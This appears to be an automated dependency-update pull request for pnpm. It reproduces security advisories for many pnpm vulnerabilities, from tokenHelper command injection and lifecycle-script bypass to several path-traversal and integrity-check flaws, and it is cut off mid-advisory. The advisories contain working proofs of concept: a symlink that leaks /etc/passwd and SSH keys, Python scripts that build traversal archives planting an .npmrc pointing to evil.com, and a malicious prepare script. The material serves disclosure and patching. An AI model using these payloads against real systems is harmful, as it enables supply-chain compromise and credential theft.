ℹ️ Note
This PR body was truncated due to platform limits.
This PR contains the following updates:
| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| pnpm (source) | ^10.12.1 → ^11.0.0 | ||||
| pnpm (source) | 10.12.1 → 11.5.3 |
pnpm vulnerable to Command Injection via environment variable substitution
CVE-2025-69262 / GHSA-2phv-j68v-wwqx
More information
Details
Summary
A command injection vulnerability exists in pnpm when using environment variable substitution in .npmrc configuration files with tokenHelper settings. An attacker who can control environment variables during pnpm operations could achieve remote code execution (RCE) in build environments.
Affected Components
- Package: pnpm
- Versions: All versions using
@pnpm/config.env-replaceandloadTokenfunctionality - File:
pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts-loadToken()function - File:
pnpm/config/config/src/readLocalConfig.ts-.npmrcenvironment variable substitution
Technical Details
Vulnerability Chain
Environment Variable Substitution
.npmrcsupports${VAR}syntax- Substitution occurs in
readLocalConfig()
loadToken Execution
- Uses
spawnSync(helperPath, { shell: true }) - Only validates absolute path existence
- Uses
Attack Flow
.npmrc: registry.npmjs.org/:tokenHelper=${HELPER_PATH}
↓
envReplace() → /tmp/evil-helper.sh
↓
loadToken() → spawnSync(..., { shell: true })
↓
RCE achievedCode Evidence
pnpm/config/config/src/readLocalConfig.ts:17-18
key = envReplace(key, process.env)
ini[key] = parseField(types, envReplace(val, process.env), key)pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts:60-71
export function loadToken(helperPath: string, settingName: string): string {
if (!path.isAbsolute(helperPath) || !fs.existsSync(helperPath)) {
throw new PnpmError('BAD_TOKEN_HELPER_PATH', ...)
}
const spawnResult = spawnSync(helperPath, { shell: true })
// ...
}Proof of Concept
Prerequisites
- Private npm registry access
- Control over environment variables
- Ability to place scripts in filesystem
PoC Steps
##### 1. Create malicious helper script
cat > /tmp/evil-helper.sh << 'SCRIPT'
#!/bin/bash
echo "RCE SUCCESS!" > /tmp/rce-log.txt
echo "TOKEN_12345"
SCRIPT
chmod +x /tmp/evil-helper.sh
##### 2. Create .npmrc with environment variable
cat > .npmrc << 'EOF'
registry=https://registry.npmjs.org/
registry.npmjs.org/:tokenHelper=${HELPER_PATH}
EOF
##### 3. Set environment variable (attacker controlled)
export HELPER_PATH=/tmp/evil-helper.sh
##### 4. Trigger pnpm install
pnpm install # RCE occurs during auth
##### 5. Verify attack
cat /tmp/rce-log.txtPoC Results
==> Attack successful
==> File created: /tmp/rce-log.txt
==> Arbitrary code execution confirmedImpact
Severity
- CVSS Score: 7.6 (High)
- CVSS Vector: cvss:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H
Affected Environments
High Risk:
- CI/CD pipelines (GitHub Actions, GitLab CI)
- Docker build environments
- Kubernetes deployments
- Private registry users
Low Risk:
- Public registry only
- Production runtime (no pnpm execution)
- Static sites
Attack Scenarios
Scenario 1: CI/CD Supply Chain
Repository → Build Trigger → pnpm install → RCE → Production DeployScenario 2: Docker Build
FROM node:20
ARG HELPER_PATH=/tmp/evil
COPY .npmrc .
RUN pnpm install # RCEScenario 3: Kubernetes
Secret Control → Env Variable → .npmrc Substitution → RCEMitigation
Temporary Workarounds
Disable tokenHelper:
##### .npmrc
##### registry.npmjs.org/:tokenHelper=${HELPER_PATH}Use direct tokens:
//registry.npmjs.org/:_authToken=YOUR_TOKENAudit environment variables:
- Review CI/CD env vars
- Restrict .npmrc changes
- Monitor build logs
Recommended Fixes
- Remove
shell: truefrom loadToken - Implement helper path allowlist
- Validate substituted paths
- Consider sandboxing
Disclosure
- Discovery: 2025-11-02
- PoC: 2025-11-02
- Report: [Pending disclosure decision]
References
- Repository: https://github.com/pnpm/pnpm
- Affected:
@pnpm/config.env-replace@^3.0.2 - Similar: CVE-2024-53866, CVE-2023-37478
Credit
Reported by: Jiyong Yang Contact: sy2n0@naver.com
Severity
- CVSS Score: 7.5 / 10 (High)
- Vector String:
CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H
References
- https://github.com/pnpm/pnpm/security/advisories/GHSA-2phv-j68v-wwqx
- https://nvd.nist.gov/vuln/detail/CVE-2025-69262
- https://github.com/pnpm/pnpm/releases/tag/v10.27.0
- https://github.com/advisories/GHSA-2phv-j68v-wwqx
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
pnpm v10+ Bypass "Dependency lifecycle scripts execution disabled by default"
CVE-2025-69264 / GHSA-379q-355j-w6rj
More information
Details
pnpm v10+ Git Dependency Script Execution Bypass
Summary
A security bypass vulnerability in pnpm v10+ allows git-hosted dependencies to execute arbitrary code during pnpm install, circumventing the v10 security feature "Dependency lifecycle scripts execution disabled by default". While pnpm v10 blocks postinstall scripts via the onlyBuiltDependencies mechanism, git dependencies can still execute prepare, prepublish, and prepack scripts during the fetch phase, enabling remote code execution without user consent or approval.
Details
pnpm v10 introduced a security feature to disable dependency lifecycle scripts by default (PR #8897). This is implemented by setting onlyBuiltDependencies = [] when no build policy is configured:
File: pkg-manager/core/src/install/extendInstallOptions.ts (lines 290-291)
if (opts.neverBuiltDependencies == null && opts.onlyBuiltDependencies == null && opts.onlyBuiltDependenciesFile == null) {
opts.onlyBuiltDependencies = []
}This creates an allowlist that blocks all packages from running scripts during the BUILD phase in exec/build-modules/src/index.ts.
However, git-hosted dependencies are processed differently. During the FETCH phase, git packages are prepared using preparePackage():
File: exec/prepare-package/src/index.ts (lines 28-57)
export async function preparePackage (opts: PreparePackageOptions, gitRootDir: string, subDir: string) {
// ...
if (opts.ignoreScripts) return { shouldBeBuilt: true, pkgDir } // Only checks ignoreScripts, not onlyBuiltDependencies
const execOpts: RunLifecycleHookOptions = {
// ...
rawConfig: omit(['ignore-scripts'], opts.rawConfig), // Explicitly removes ignore-scripts!
}
// Runs npm/pnpm install
await runLifecycleHook(installScriptName, manifest, execOpts)
// Runs prepare scripts
for (const scriptName of PREPUBLISH_SCRIPTS) { // ['prepublish', 'prepack', 'publish']
await runLifecycleHook(newScriptName, manifest, execOpts)
}
}The ignoreScripts option defaults to false and is completely separate from onlyBuiltDependencies. The onlyBuiltDependencies allowlist is never consulted during the fetch phase.
Affected scripts that execute during fetch:
prepareprepublishprepack
Attack vectors:
git+https://github.com/attacker/malicious.gitgithub:attacker/maliciousgitlab:attacker/maliciousbitbucket:attacker/maliciousgit+ssh://git@github.com/attacker/malicious.gitgit+file:///path/to/local/repo
PoC
Prerequisites:
- pnpm v10.0.0 or later (tested on v10.23.0 and v11.0.0-alpha.1)
- git
Steps to reproduce:
Extract the attached poc.zip
Run the PoC script:
cd poc chmod +x run-poc.sh ./run-poc.shVerify the marker file was created by the malicious script:
cat /tmp/pnpm-vuln-poc-marker.txt
Manual reproduction:
Create a malicious package with a
preparescript:{ "name": "malicious-pkg", "version": "1.0.0", "scripts": { "prepare": "node -e \"require('fs').writeFileSync('/tmp/pwned.txt', 'RCE!')\"" } }Initialize it as a git repo and commit the files
Create a victim project that depends on it (just have to make sure it actually git clones and not just downloads a tarball):
{ "dependencies": { "malicious-pkg": "git+file:///path/to/malicious-pkg" } }Run
pnpm install- the prepare script executes without any warning or approval prompt
Impact
Severity: High
Who is impacted:
- All pnpm v10+ users
- Users who believed they were protected by the v10 "scripts disabled by default" feature
- CI/CD pipelines
Attack scenarios:
- Supply chain attack: An attacker compromises a dependency, adding to it a malicious git dependency that executes arbitrary code during
pnpm install
What an attacker can do:
- Execute arbitrary code with the victim's privileges
- Exfiltrate environment variables, secrets, and credentials
- Modify source code or inject backdoors
- Establish persistence or reverse shells
- Access the filesystem and network
Why this bypasses security expectations:
- pnpm v10 changelog explicitly states "Lifecycle scripts of dependencies are not executed during installation by default"
- Users expect git dependencies to follow the same security model as npm registry packages
- There is no warning that git dependencies are treated differently
- The
onlyBuiltDependenciesconfiguration does not affect git dependencies
Severity
- CVSS Score: 8.8 / 10 (High)
- Vector String:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
References
- https://github.com/pnpm/pnpm/security/advisories/GHSA-379q-355j-w6rj
- https://nvd.nist.gov/vuln/detail/CVE-2025-69264
- https://github.com/pnpm/pnpm/commit/73cc63504d9bc360c43e4b2feb9080677f03c5b5
- https://github.com/advisories/GHSA-379q-355j-w6rj
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
pnpm Has Lockfile Integrity Bypass that Allows Remote Dynamic Dependencies
CVE-2025-69263 / GHSA-7vhp-vf5g-r2fw
More information
Details
Summary
HTTP tarball dependencies (and git-hosted tarballs) are stored in the lockfile without integrity hashes. This allows the remote server to serve different content on each install, even when a lockfile is committed.
Details
When a package depends on an HTTP tarball URL, pnpm's tarball resolver returns only the URL without computing an integrity hash:
resolving/tarball-resolver/src/index.ts:
return {
resolution: {
tarball: resolvedUrl,
// No integrity field
},
resolvedVia: 'url',
}The resulting lockfile entry has no integrity to verify:
remote-dynamic-dependency@http://example.com/pkg.tgz:
resolution: {tarball: http://example.com/pkg.tgz}
version: 1.0.0Since there is no integrity hash, pnpm cannot detect when the server returns different content.
This affects:
- HTTP/HTTPS tarball URLs (
"pkg": "https://example.com/pkg.tgz") - Git shorthand dependencies (
"pkg": "github:user/repo") - Git URLs (
"pkg": "git+https://github.com/user/repo")
npm registry packages are not affected as they include integrity hashes from the registry metadata.
PoC
See attached pnpm-bypass-integrity-poc.zip
The POC includes:
- A server that returns different tarball content on each request
- A
malicious-packagethat depends on the HTTP tarball - A
victimproject that depends onmalicious-package
To run:
cd pnpm-bypass-integrity-poc
./run-poc.shThe output shows that each install (with pnpm store prune between them) downloads different code despite having a committed lockfile.
Impact
An attacker who publishes a package with an HTTP tarball dependency can serve different code to different users or CI/CD environments. This enables:
- Targeted attacks based on request metadata (IP, headers, timing)
- Evasion of security audits (serve benign code during review, malicious code later)
- Supply chain attacks where the malicious payload changes over time
The attack requires the victim to install a package that has an HTTP/git tarball in its dependency tree. The victim's lockfile provides no protection.
Severity
- CVSS Score: 7.5 / 10 (High)
- Vector String:
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
References
- https://github.com/pnpm/pnpm/security/advisories/GHSA-7vhp-vf5g-r2fw
- https://nvd.nist.gov/vuln/detail/CVE-2025-69263
- https://github.com/pnpm/pnpm/commit/0958027f88a99ccefe7e9676cdebba393dfbdc85
- https://github.com/advisories/GHSA-7vhp-vf5g-r2fw
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
pnpm has symlink traversal in file:/git dependencies
CVE-2026-24056 / GHSA-m733-5w8f-5ggw
More information
Details
Summary
When pnpm installs a file: (directory) or git: dependency, it follows symlinks and reads their target contents without constraining them to the package root. A malicious package containing a symlink to an absolute path (e.g., /etc/passwd, ~/.ssh/id_rsa) causes pnpm to copy that file's contents into node_modules, leaking local data.
Preconditions: Only affects file: and git: dependencies. Registry packages (npm) have symlinks stripped during publish and are NOT affected.
Details
The vulnerability exists in store/cafs/src/addFilesFromDir.ts. The code uses fs.statSync() and readFileSync() which follow symlinks by default:
const absolutePath = path.join(dirname, relativePath)
const stat = fs.statSync(absolutePath) // Follows symlinks!
const buffer = fs.readFileSync(absolutePath) // Reads symlink TARGETThere is no check that absolutePath resolves to a location inside the package directory.
PoC
##### Create malicious package
mkdir -p /tmp/evil && cd /tmp/evil
ln -s /etc/passwd leaked-passwd.txt
echo '{"name":"evil","version":"1.0.0","files":["*.txt"]}' > package.json
##### Victim installs
mkdir /tmp/victim && cd /tmp/victim
pnpm init && pnpm add file:../evil
##### Leaked!
cat node_modules/evil/leaked-passwd.txtImpact
- Developers installing local/file dependencies
- CI/CD pipelines installing git dependencies
- Credential theft via symlinks to
~/.aws/credentials,~/.npmrc,~/.ssh/id_rsa
Suggested Fix
Use lstatSync to detect symlinks and reject those pointing outside the package root in store/cafs/src/addFilesFromDir.ts.
Severity
- CVSS Score: 6.7 / 10 (Medium)
- Vector String:
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
References
- https://github.com/pnpm/pnpm/security/advisories/GHSA-m733-5w8f-5ggw
- https://github.com/pnpm/pnpm/commit/b277b45bc35ae77ca72d7634d144bbd58a48b70f
- https://github.com/pnpm/pnpm/releases/tag/v10.28.2
- https://nvd.nist.gov/vuln/detail/CVE-2026-24056
- https://github.com/advisories/GHSA-m733-5w8f-5ggw
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
pnpm scoped bin name Path Traversal allows arbitrary file creation outside node_modules/.bin
CVE-2026-23890 / GHSA-xpqm-wm3m-f34h
More information
Details
Summary
A path traversal vulnerability in pnpm's bin linking allows malicious npm packages to create executable shims or symlinks outside of node_modules/.bin. Bin names starting with @ bypass validation, and after scope normalization, path traversal sequences like ../../ remain intact.
Details
The vulnerability exists in the bin name validation and normalization logic:
1. Validation Bypass (pkg-manager/package-bins/src/index.ts)
The filter allows any bin name starting with @ to pass through without validation:
.filter((commandName) =>
encodeURIComponent(commandName) === commandName ||
commandName === '' ||
commandName[0] === '@​' // <-- Bypasses validation
)2. Incomplete Normalization (pkg-manager/package-bins/src/index.ts)
function normalizeBinName (name: string): string {
return name[0] === '@​' ? name.slice(name.indexOf('/') + 1) : name
}
// Input: @​scope/../../evil
// Output: ../../evil <-- Path traversal preserved!3. Exploitation (pkg-manager/link-bins/src/index.ts:288)
The normalized name is used directly in path.join() without validation.
PoC
- Create a malicious package:
{
"name": "malicious-pkg",
"version": "1.0.0",
"bin": {
"@​scope/../../.npmrc": "./malicious.js"
}
}- Install the package:
pnpm add /path/to/malicious-pkg- Observe
.npmrccreated in project root (outside node_modules/.bin).
Impact
- All pnpm users who install npm packages
- CI/CD pipelines using pnpm
- Can overwrite config files, scripts, or other sensitive files
Verified on pnpm main @ commit 5a0ed1d.
Severity
- CVSS Score: 6.5 / 10 (Medium)
- Vector String:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
References
- https://github.com/pnpm/pnpm/security/advisories/GHSA-xpqm-wm3m-f34h
- https://github.com/pnpm/pnpm/commit/8afbb1598445d37985d91fda18abb4795ae5062d
- https://github.com/pnpm/pnpm/releases/tag/v10.28.1
- https://nvd.nist.gov/vuln/detail/CVE-2026-23890
- https://github.com/advisories/GHSA-xpqm-wm3m-f34h
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
pnpm has Windows-specific tarball Path Traversal
CVE-2026-23889 / GHSA-6x96-7vc8-cm3p
More information
Details
Summary
A path traversal vulnerability in pnpm's tarball extraction allows malicious packages to write files outside the package directory on Windows. The path normalization only checks for ./ but not .\. On Windows, backslashes are directory separators, enabling path traversal.
This vulnerability is Windows-only.
Details
1. Incomplete Path Normalization (store/cafs/src/parseTarball.ts:107-110)
if (fileName.includes('./')) {
fileName = path.posix.join('/', fileName).slice(1)
}A path like foo\..\..\.npmrc does NOT contain ./ and bypasses this check.
2. Platform-Dependent Behavior (fs/indexed-pkg-importer/src/importIndexedDir.ts:97-98)
- On Unix: Backslashes are literal filename characters (safe)
- On Windows: Backslashes are directory separators (exploitable)
PoC
- Create a malicious tarball with entry
package/foo\..\..\.npmrc - Host it or use as a tarball URL dependency
- On Windows:
pnpm install - Observe
.npmrcwritten outside package directory
import tarfile, io
tar_buffer = io.BytesIO()
with tarfile.open(fileobj=tar_buffer, mode='w:gz') as tar:
pkg_json = b'{"name": "malicious-pkg", "version": "1.0.0"}'
pkg_info = tarfile.TarInfo(name='package/package.json')
pkg_info.size = len(pkg_json)
tar.addfile(pkg_info, io.BytesIO(pkg_json))
malicious_content = b'registry=https://evil.com/\n'
mal_info = tarfile.TarInfo(name='package/foo\\..\\..\\.npmrc')
mal_info.size = len(malicious_content)
tar.addfile(mal_info, io.BytesIO(malicious_content))
with open('malicious-pkg-1.0.0.tgz', 'wb') as f:
f.write(tar_buffer.getvalue())Impact
- Windows pnpm users
- Windows CI/CD pipelines (GitHub Actions Windows runners, Azure DevOps)
- Can overwrite
.npmrc, build configs, or other files
Verified on pnpm main @ commit 5a0ed1d.
Severity
- CVSS Score: 6.5 / 10 (Medium)
- Vector String:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
References
- https://github.com/pnpm/pnpm/security/advisories/GHSA-6x96-7vc8-cm3p
- https://github.com/pnpm/pnpm/commit/6ca07ffbe6fc0e8b8cdc968f228903ba0886f7c0
- https://github.com/pnpm/pnpm/releases/tag/v10.28.1
- https://nvd.nist.gov/vuln/detail/CVE-2026-23889
- https://github.com/advisories/GHSA-6x96-7vc8-cm3p
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
pnpm has Path Traversal via arbitrary file permission modification
CVE-2026-24131 / GHSA-v253-rj99-jwpq
More information
Details
Summary
When pnpm processes a package's directories.bin field, it uses path.join() without validating the result stays within the package root. A malicious npm package can specify "directories": {"bin": "../../../../tmp"} to escape the package directory, causing pnpm to chmod 755 files at arbitrary locations.
Note: Only affects Unix/Linux/macOS. Windows is not affected (fixBin gated by EXECUTABLE_SHEBANG_SUPPORTED).
Details
Vulnerable code in pkg-manager/package-bins/src/index.ts:15-21:
if (manifest.directories?.bin) {
const binDir = path.join(pkgPath, manifest.directories.bin) // NO VALIDATION
const files = await findFiles(binDir)
// ... files outside package returned, then chmod 755'd
}The bin field IS protected with isSubdir() at line 53, but directories.bin lacks this check.
PoC
##### Create malicious package
mkdir /tmp/malicious-pkg
echo '{"name":"malicious","version":"1.0.0","directories":{"bin":"../../../../tmp/target"}}' > /tmp/malicious-pkg/package.json
##### Create sensitive file
mkdir -p /tmp/target
echo "secret" > /tmp/target/secret.sh
chmod 600 /tmp/target/secret.sh # Private
##### Install
pnpm add file:/tmp/malicious-pkg
##### Check permissions
ls -la /tmp/target/secret.sh # Now 755 (world-readable)Impact
- Supply-chain attack via npm packages
- File permissions changed from 600 to 755 (world-readable)
- Affects non-dotfiles in predictable paths (dotfiles excluded by tinyglobby default)
Suggested Fix
Add isSubdir validation for directories.bin paths in pkg-manager/package-bins/src/index.ts, matching the existing validation in commandsFromBin():
if (manifest.directories?.bin) {
const binDir = path.join(pkgPath, manifest.directories.bin)
if (!isSubdir(pkgPath, binDir)) {
return [] // Reject paths outside package
}
// ...
}Severity
- CVSS Score: 6.7 / 10 (Medium)
- Vector String:
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
References
- https://github.com/pnpm/pnpm/security/advisories/GHSA-v253-rj99-jwpq
- https://github.com/pnpm/pnpm/commit/17432ad5bbed5c2e77255ca6d56a1449bbcfd943
- https://github.com/pnpm/pnpm/releases/tag/v10.28.2
- https://github.com/advisories/GHSA-v253-rj99-jwpq
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
pnpm: Binary ZIP extraction allows arbitrary file write via path traversal (Zip Slip)
CVE-2026-23888 / GHSA-6pfh-p556-v868
More information
Details
Summary
A path traversal vulnerability in pnpm's binary fetcher allows malicious packages to write files outside the intended extraction directory. The vulnerability has two attack vectors: (1) Malicious ZIP entries containing ../ or absolute paths that escape the extraction root via AdmZip's extractAllTo, and (2) The BinaryResolution.prefix field is concatenated into the extraction path without validation, allowing a crafted prefix like ../../evil to redirect extracted files outside targetDir.
Details
The vulnerability exists in the binary fetching and extraction logic:
1. Unvalidated ZIP Entry Extraction (fetching/binary-fetcher/src/index.ts)
AdmZip's extractAllTo does not validate entry paths for path traversal:
const zip = new AdmZip(buffer)
const nodeDir = basename === '' ? targetDir : path.dirname(targetDir)
const extractedDir = path.join(nodeDir, basename)
zip.extractAllTo(nodeDir, true) // Entry paths not validated!
await renameOverwrite(extractedDir, targetDir)A ZIP entry with path ../../../.npmrc will be written outside nodeDir.
2. Unvalidated Prefix in BinaryResolution (resolving/resolver-base/src/index.ts)
The basename variable comes from BinaryResolution.prefix and is used directly in path construction:
const extractedDir = path.join(nodeDir, basename)
// If basename is '../../evil', this points outside nodeDirPoC
Attack Vector 1: ZIP Entry Path Traversal
import zipfile
import io
zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w') as zf:
# Normal file
zf.writestr('node-v20.0.0-linux-x64/bin/node', b'#!/bin/sh\necho "legit node"')
# Malicious path traversal entry
zf.writestr('../../../.npmrc', b'registry=https://evil.com/\n')
with open('malicious-node.zip', 'wb') as f:
f.write(zip_buffer.getvalue())Attack Vector 2: Prefix Traversal via malicious resolution:
{
"resolution": {
"type": "binary",
"url": "https://attacker.com/node.zip",
"prefix": "../../PWNED"
}
}Impact
- All pnpm users who install packages with binary assets
- Users who configure custom Node.js binary locations
- CI/CD pipelines that auto-install binary dependencies
- Can overwrite config files, scripts, or other sensitive files leading to RCE
Verified on pnpm main @ commit 5a0ed1d45.
Severity
- CVSS Score: 6.5 / 10 (Medium)
- Vector String:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
References
- https://github.com/pnpm/pnpm/security/advisories/GHSA-6pfh-p556-v868
- https://github.com/pnpm/pnpm/commit/5c382f0ca3b7cc49963b94677426e66539dcb3f5
- https://github.com/pnpm/pnpm/releases/tag/v10.28.1
- https://nvd.nist.gov/vuln/detail/CVE-2026-23888
- https://github.com/advisories/GHSA-6pfh-p556-v868
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
pnpm: Tarball hash of GitHub git dependencies is not stored in lockfile
CVE-2026-48995 / GHSA-hg3w-7f8c-63hp
More information
Details
Summary
A malicious codeload.github.com server can serve whatever tarball it wants and pnpm will install it regardless of the lockfile.
Details
The lockfile does not store the hash of the dependencies from https://codeload.github.com
This means that if this server was compromised or a person's machine configuration was compromised, pnpm would download and install these dependencies.
PoC
> pnpm -v
10.28.2Given the following package.json:
{
"dependencies": {
"add": "git://github.com/dsherret/npm-git-dep.git#b3eeb9b"
}
}This produces a lockfile like so:
lockfileVersion: '9.0'
settings:
autoInstallPeers: true
excludeLinksFromLockfile: false
importers:
.:
dependencies:
add:
specifier: git://github.com/dsherret/npm-git-dep.git#b3eeb9b
version: https://codeload.github.com/dsherret/npm-git-dep/tar.gz/b3eeb9b
packages:
add@https://codeload.github.com/dsherret/npm-git-dep/tar.gz/b3eeb9b:
resolution: {tarball: https://codeload.github.com/dsherret/npm-git-dep/tar.gz/b3eeb9b}
version: 1.0.0
snapshots:
add@https://codeload.github.com/dsherret/npm-git-dep/tar.gz/b3eeb9b: {}Notice that there is no hash. The b3eeb9b is not sufficient because I can configure my machine to resolve a compromised tarball from that url (I tested it out and pnpm just installs it).
Impact
Anyone relying on github git dependencies.
Severity
- CVSS Score: 4.8 / 10 (Medium)
- Vector String:
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U
References
- https://github.com/pnpm/pnpm/security/advisories/GHSA-hg3w-7f8c-63hp
- https://nvd.nist.gov/vuln/detail/CVE-2026-48995
- https://github.com/advisories/GHSA-hg3w-7f8c-63hp
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
pnpm: Unsafe default behavior breaks integrity check
CVE-2026-50573 / GHSA-54hh-g5mx-jqcp
More information
Details
While it is unclear whether this should be classified as a vulnerability, it is being reported through this channel because the current behavior may represent an unsafe default.
Summary
pnpm install in non-frozen mode can accept new remote package content after detecting that the downloaded tarball does not match the integrity recorded in pnpm-lock.yaml.
When a package is already locked with an integrity value, and the registry later serves different metadata and tarball content for the same package name and version, pnpm initially reports an integrity mismatch. However, plain pnpm install then performs a resolution repair, accepts the registry's new integrity, updates the lockfile, installs the new content, and exits successfully.
This means the lockfile integrity check does not act as a hard stop by default.
Reproduction Scenario
- Run a local npm-compatible registry.
- Publish or serve
example-package@1.0.0with tarball contentv1. - Install it with pnpm:
pnpm add example-package@1.0.0 --registry=http://127.0.0.1:48741- Confirm
pnpm-lock.yamlcontains thev1integrity:
packages:
example-package@1.0.0:
resolution:
integrity: sha512-...v1...- Change the registry metadata and tarball for the same
example-package@1.0.0to contentv2. - On a clean store/cache, run:
pnpm install --registry=http://127.0.0.1:48741Observed Behavior
pnpm detects the checksum mismatch:
WARN Got unexpected checksum for "http://127.0.0.1:48741/example-package/-/example-package-1.0.0.tgz".
Wanted "sha512-...v1..."
Got "sha512-...v2...".
ERR_PNPM_TARBALL_INTEGRITY The lockfile is broken! Resolution step will be performed to fix it.However, the install still succeeds:
INSTALL_RC=0
INSTALLED=v2-replacedThe lockfile is then rewritten to trust the new remote integrity:
packages:
example-package@1.0.0:
resolution:
integrity: sha512-...v2...Expected Behavior
If a downloaded tarball does not match the integrity recorded in pnpm-lock.yaml, the install should fail by default.
The lockfile integrity should be treated as authoritative unless the user explicitly requests lockfile repair or dependency update behavior.
Security Impact
This behavior weakens the protection normally expected from a committed lockfile.
If a registry is compromised and an attacker overwrites the metadata and tarball for an existing package version, a new environment without the old pnpm store/cache may install the attacker's replacement package even though the project already has a lockfile with the original integrity.
Examples of affected new or clean environments include:
- an engineer setting up the project on a new machine
- a new team member onboarding to the project
In this situation, pnpm first detects that the downloaded tarball does not match the integrity stored in pnpm-lock.yaml. However, instead of failing by default, plain pnpm install performs a resolution repair, trusts the current remote registry metadata, updates the lockfile to the new integrity, and installs the new registry content.
In other words, when the lockfile and registry disagree, the default non-frozen behavior can end up trusting the remote registry over the content previously recorded in the lockfile.
This is especially relevant for:
- private registries that allow overwriting or republishing the same version
- registry mirrors or proxies that can serve changed metadata and tarballs
- compromised public or private registries
- compromised registry proxy infrastructure
The behavior is also surprising because the command reports an integrity error but still exits successfully after resolution repair.
This issue does not occur when --frozen-lockfile is enabled. In frozen mode, the same integrity mismatch fails the install and does not install the changed package content.
However, since the lockfile already records an integrity value, the integrity for the same package version should normally not change. If it does change, one likely explanation is that the server or registry has been compromised or is serving mutated package content. Under normal package publishing workflows, changed package content should be published as a new version instead of replacing an existing version.
For that reason, it may be safer for pnpm's default behavior to be closer to frozen mode for this specific case. At minimum, pnpm should not automatically repair the lockfile and trust the registry after an integrity mismatch. It should fail and let the user explicitly decide whether to discard the locked integrity, re-resolve the package from the remote registry, and update the lockfile.
Comparison
In the same scenario, npm install with an existing package-lock.json fails with EINTEGRITY and does not install the changed tarball.
pnpm install --frozen-lockfile also fails as expected:
ERR_PNPM_TARBALL_INTEGRITYThe issue is specific to the default non-frozen behavior of plain pnpm install in non-CI environment.
Severity
- CVSS Score: 6.8 / 10 (Medium)
- Vector String:
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N
References
- https://github.com/pnpm/pnpm/security/advisories/GHSA-54hh-g5mx-jqcp
- https://nvd.nist.gov/vuln/detail/CVE-2026-50573
- https://github.com/advisories/GHSA-54hh-g5mx-jqcp
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
pnpm Has an Integrity Check Bypass via Missing Lockfile Integrity Field
CVE-2026-50021 / GHSA-q6j5-fjx5-2mc3
More information
Details
Summary
pnpm's tarball extraction worker skips integrity verification when the integrity field is absent from the lockfile resolution. If an attacker can both modify pnpm-lock.yaml to remove the integrity: field and cause the referenced registry URL to serve altered package content, pnpm install --frozen-lockfile can install the altered package without an integrity error. npm's npm ci enforces integrity by default; pnpm's behavior of silently skipping verification is a pnpm-specific fail-open gap.
Vulnerability Details
The addTarballToStore function in worker/src/start.ts (lines 189-204) checks if (integrity) before verifying the tarball hash. The TarballResolution type declares integrity as optional (integrity?: string). When the lockfile omits the integrity field, the guard evaluates to false, skipping hash verification entirely. The worker then computes a new hash from the unverified content and stores it as legitimate.
// worker/src/start.ts:189-204
function addTarballToStore ({ buffer, storeDir, integrity, ... }: TarballExtractMessage) {
if (integrity) { // false when integrity is undefined
const { algorithm, hexDigest } = parseIntegrity(integrity)
const calculatedHash = crypto.hash(algorithm, buffer, 'hex')
if (calculatedHash !== hexDigest) {
return { status: 'error', error: { type: 'integrity_validation_failed', ... } }
}
}
return {
status: 'success',
value: { integrity: integrity ?? calcIntegrity(buffer) },
}
}Proof of Concept
bash autofyn_audit/exploits/vuln1_integrity_bypass/exploit.sh
##### Publishes a package, generates lockfile, republishes tampered version,
##### strips integrity field, re-runs install --frozen-lockfile.
##### Result: PASS -- tampered package installed without integrity error.Impact
Supply chain compromise in environments where an attacker can both alter the lockfile and cause the referenced registry URL to serve altered package content. The --frozen-lockfile flag does not fail closed when the integrity field is missing.
Suggested Remediation
Require an integrity field for remote tarball resolutions. Change the if (integrity) guard to fail when integrity is absent for non-local packages. When --frozen-lockfile is active, reject lockfile entries that lack integrity for remote packages.
Discovered by AutoFyn Full audit report: audit_report.md Exploit script: exploit.sh
Severity
- CVSS Score: 6.8 / 10 (Medium)
- Vector String:
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N
References
- https://github.com/pnpm/pnpm/security/advisories/GHSA-q6j5-fjx5-2mc3
- https://nvd.nist.gov/vuln/detail/CVE-2026-50021
- https://github.com/advisories/GHSA-q6j5-fjx5-2mc3
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
pnpm: Git Fetch Argument Injection via Lockfile resolution.commit
CVE-2026-50014 / GHSA-p4xf-rf54-rj3x
More information
Details
Summary
pnpm passes the lockfile-controlled git resolution.commit value to git fetch without a -- separator or commit-format validation. For git dependencies fetched through the shallow-fetch path, a malicious lockfile can replace the expected 40-character commit hash with a Git option such as --upload-pack=<command>. For SSH and local transports, --upload-pack can execute the supplied command. HTTPS transports ignore --upload-pack, so the practical attack surface is primarily SSH or local git dependencies.
Vulnerability Details
The vulnerable path is in fetching/git-fetcher/src/index.ts. When a git dependency host is configured for shallow fetching, pnpm calls:
